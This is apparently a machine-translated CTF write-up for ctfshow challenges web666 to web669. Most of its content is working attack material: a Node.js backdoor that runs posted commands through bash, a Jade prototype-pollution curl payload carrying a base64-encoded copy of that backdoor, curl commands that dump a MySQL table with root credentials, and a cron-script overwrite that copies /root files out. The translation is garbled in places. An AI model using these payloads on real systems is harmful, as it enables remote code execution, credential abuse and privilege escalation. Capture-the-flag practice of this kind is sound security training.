ctfshow最終評価web66✧-web669

スクリプトで学ぶ方が良いです

web666

668が
最初にjsrceを通過し、次に取得したフラグを最初に確認できます。フラグはデータベースにあります

web667


ポートをスキャンすると、 3000ポート
flag_667 =ctfshow{503a075560764e3d116436ab73d7a560}を見つけることができます。

web668

翡翠プロトタイプチェーン汚染を介してnodejsを記述し、翡翠プロトタイプチェーン汚染を実行すると、
この記事を読むことができます。
https://blog.csdn.net/miuzzx/article/details/111780832
記述されたnodejsコンテンツは次のとおりです。

var http = require('http');
var querystring = require('querystring');

var postHTML = '123';

http.createServer(function (req, res) {
    
    
  var body = "";
  req.on('data', function (chunk) {
    
    
    body += chunk;
  });
  req.on('end', function () {
    
    
    body = querystring.parse(body);
    res.writeHead(200, {
    
    'Content-Type': 'text/html; charset=utf8'});
 try{
    
    
    if(body.cmd) {
    
    
        res.write("username:" + body.cmd);
        var result= global.process.mainModule.constructor._load('child_process').execSync('bash -c "'+body.cmd+'"').toString();
        res.write(result);
    } else {
    
    
        res.write(postHTML);
    }}
    catch{
    
    
       res.write(postHTML);
    }
    res.end();
  });
}).listen(8033);

しかし、生成されたファイルを直接書き込むコマンドに問題がある理由がわからないため、base64に切り替えました

curl -i -X POST -H 'Content-type':'application/json' -d "{\\"__proto__\\":{\\"__proto__\\": {\\"type\\":\\"Block\\",\\"nodes\\":\\"\\",\\"compileDebug\\":1,\\"self\\":1,\\"line\\":\\"global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiZWNobyBkbUZ5SUdoMGRIQWdQU0J5WlhGMWFYSmxLQ2RvZEhSd0p5azdDblpoY2lCeGRXVnllWE4wY21sdVp5QTlJSEpsY1hWcGNtVW9KM0YxWlhKNWMzUnlhVzVuSnlrN0NncDJZWElnY0c5emRFaFVUVXdnUFNBbk1USXpKenNLSUFwb2RIUndMbU55WldGMFpWTmxjblpsY2lobWRXNWpkR2x2YmlBb2NtVnhMQ0J5WlhNcElIc0tJQ0IyWVhJZ1ltOWtlU0E5SUNJaU93b2dJSEpsY1M1dmJpZ25aR0YwWVNjc0lHWjFibU4wYVc5dUlDaGphSFZ1YXlrZ2V3b2dJQ0FnWW05a2VTQXJQU0JqYUhWdWF6c0tJQ0I5S1RzS0lDQnlaWEV1YjI0b0oyVnVaQ2NzSUdaMWJtTjBhVzl1SUNncElIc0tJQ0FnSUdKdlpIa2dQU0J4ZFdWeWVYTjBjbWx1Wnk1d1lYSnpaU2hpYjJSNUtUc0tJQ0FnSUhKbGN5NTNjbWwwWlVobFlXUW9NakF3TENCN0owTnZiblJsYm5RdFZIbHdaU2M2SUNkMFpYaDBMMmgwYld3N0lHTm9ZWEp6WlhROWRYUm1PQ2Q5S1RzS0lIUnllWHNLSUNBZ0lHbG1LR0p2WkhrdVkyMWtLU0I3Q2lBZ0lDQWdJQ0FnY21WekxuZHlhWFJsS0NKMWMyVnlibUZ0WmUrOG1pSWdLeUJpYjJSNUxtTnRaQ2s3Q2lBZ0lDQWdJQ0FnZG1GeUlISmxjM1ZzZEQwZ1oyeHZZbUZzTG5CeWIyTmxjM011YldGcGJrMXZaSFZzWlM1amIyNXpkSEoxWTNSdmNpNWZiRzloWkNnblkyaHBiR1JmY0hKdlkyVnpjeWNwTG1WNFpXTlRlVzVqS0NkaVlYTm9JQzFqSUNJbksySnZaSGt1WTIxa0t5Y2lKeWt1ZEc5VGRISnBibWNvS1RzS0lDQWdJQ0FnSUNCeVpYTXVkM0pwZEdVb2NtVnpkV3gwS1RzS0lDQWdJSDBnWld4elpTQjdDaUFnSUNBZ0lDQWdjbVZ6TG5keWFYUmxLSEJ2YzNSSVZFMU1LVHNLSUNBZ0lIMTlDaUFnSUNCallYUmphSHNLSUNBZ0lDQWdJSEpsY3k1M2NtbDBaU2h3YjNOMFNGUk5UQ2s3SUFvZ0lDQWdmUW9nSUNBZ2NtVnpMbVZ1WkNncE93b2dJSDBwT3dwOUtTNXNhWE4wWlc0b09EQXpNeWs3Q2c9PXxiYXNlNjQgLWQgPiAvaG9tZS9ub2RlL2FhLmpzO25vZGUgL2hvbWUvbm9kZS9hYS5qcyI=|base64 -d|bash')\\"}}}" http://'''+ip2+''':3000/login`;

生成後、rceは直接使用できます

1=echo `curl -X POST -d "cmd=mysql -uroot -proot -e 'use ctfshow;select * from ctfshow_secret'" http://172.2.44.5:8033`;

1=echo `curl -X POST -d "cmd=mysql -uroot -proot -e 'use ctfshow;select * from ctfshow_secret'" http://172.2.44.5:8033`;

flag_668 = ctfshow {5b617bd75e1242ab1f6f70437bb71dd5}

web669

ps -aコマンドを使用すると、rootがshファイルを実行していることがわかり、それを開くことができます。
ここに画像の説明を挿入
内容は次のとおり
ここに画像の説明を挿入
です。ノードの下のshファイルは毎分実行されるため、次の内容を変更するだけで済みます。このノードファイル。
最初に削除してから、書き直してください。

1=エコーcurl -X POST -d "cmd=rm -rf nodestartup.sh;echo 'cat /root/* > /home/node/a.txt ' > nodestartup.sh" http://172.2.132.5:8033;

flag_669ctfshow {a6c74ca12174eb538a4c8c8ed99c3a74}

おすすめ

転載: blog.csdn.net/miuzzx/article/details/121611613
おすすめ